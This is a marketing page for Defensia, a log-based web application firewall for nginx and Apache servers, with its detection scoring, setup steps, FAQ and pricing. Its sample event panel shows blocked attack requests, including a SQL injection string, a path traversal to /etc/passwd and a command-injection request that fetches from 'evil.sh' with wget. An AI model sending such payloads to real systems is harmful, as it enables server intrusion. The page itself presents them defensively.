Web Application Firewall · Linux · Zero Config

Web Application Firewall
for Linux servers

Defensia reads your nginx and Apache access logs in real time. When it detects SQL injection, path traversal, RCE, or other OWASP attacks, it blocks the IP automatically — before they try again.

Try WAF Free →
WAF Events — srv-prod-01● LIVE
BLOCKED185.220.101.7sql_injectionGET /search?q=' OR 1=1--
BLOCKED45.83.64.11path_traversalGET /../../../etc/passwd
BLOCKED103.145.13.90scannerGET /wp-login.php
BLOCKED91.108.4.30rcePOST /cgi-bin/; wget http://evil.sh
LOGGED34.89.114.1bot_crawlGET /robots.txt (Googlebot)

15 OWASP attack types detected

Every detection uses a cumulative scoring engine — repeated attacks from the same IP escalate the response.

Attack TypeDefault ScoreDetection Method
RCE / Web Shell / Shellshock +50Score-based
Scanner User-Agent (sqlmap, nikto...) +50Score-based
SQL Injection +40Score-based
SSRF +40Score-based
Web Exploit (Spring4Shell, Log4Shell...) +40Score-based
Honeypot Trap +40Score-based
Path Traversal +30Score-based
Header Injection +30Score-based
WordPress Brute Force +30Threshold (10 req / 2 min)
XSS +25Score-based
.env Probe +25Score-based
XMLRPC Abuse +25Threshold
Config Probing +20Score-based
Scanner Pattern +20Score-based
404 Flood +15Threshold (30 req / 5 min)

Score ≥ 80 → IP blocked for 1 hour · Score ≥ 100 → blacklisted for 24 hours. All thresholds configurable per server.

How the WAF works

No inline proxy. No traffic redirection. Defensia reads your existing web server logs directly.

STEP 1

Auto-detects your logs

Runs nginx -T and apachectl -S to find all vhosts and log paths. Also detects logs inside Docker containers via bind mounts.

STEP 2

Scores each request

Each suspicious request adds points to the attacker's IP score. Repeated attacks escalate the score toward a block threshold.

STEP 3

Blocks with ipset

When a score threshold is crossed, the IP is added to an ipset rule. The block is instant and propagated to all your servers.

Configurable from the dashboard

Every attack type can be tuned per server. No config files on the server.

Enable / disable per attack type

Turn off wp_bruteforce on non-WordPress servers. No restarts needed.

Custom score weights

Set SQL injection to 80 for instant-block on first detection. Or set 404_flood to 0 to ignore it.

Detect-only mode

Log attacks without blocking. Useful for auditing before enforcement.

Custom thresholds

Override the req/min thresholds for wp_bruteforce, 404_flood, and xmlrpc per server.

Frequently asked questions

What is a web application firewall?

A WAF monitors HTTP traffic and blocks malicious requests like SQL injection, XSS, and path traversal. Unlike traditional firewalls that only filter by IP/port, a WAF understands application-level attacks. Defensia's WAF reads your nginx or Apache access logs and detects 15+ OWASP attack types automatically.

Does Defensia WAF require ModSecurity?

No. Defensia reads nginx and Apache access logs directly — it doesn't need ModSecurity, OWASP CRS rules, or any inline proxy. The Go agent parses log entries in real time and scores each IP based on attack patterns. Zero configuration files.

What attacks does the WAF detect?

SQL injection, cross-site scripting (XSS), path traversal, remote code execution (RCE), server-side request forgery (SSRF), shellshock, web shell uploads, XML external entity (XXE), HTTP request smuggling, and more — 15+ OWASP attack types in total.

Does the WAF slow down my website?

No. Defensia's WAF runs as a separate Go process that reads server logs asynchronously. It never sits in the request path — requests are served by nginx/Apache at full speed. The WAF analyzes log entries after the fact and blocks attacking IPs via iptables.

How much does the WAF cost?

The WAF is included in Defensia Pro at €9/server/month (€7 billed annually). The free plan includes SSH protection and the real-time dashboard but not the WAF.

Add WAF to your server today

One command installs the agent. WAF is included in the Pro plan.

See Pricing Start Free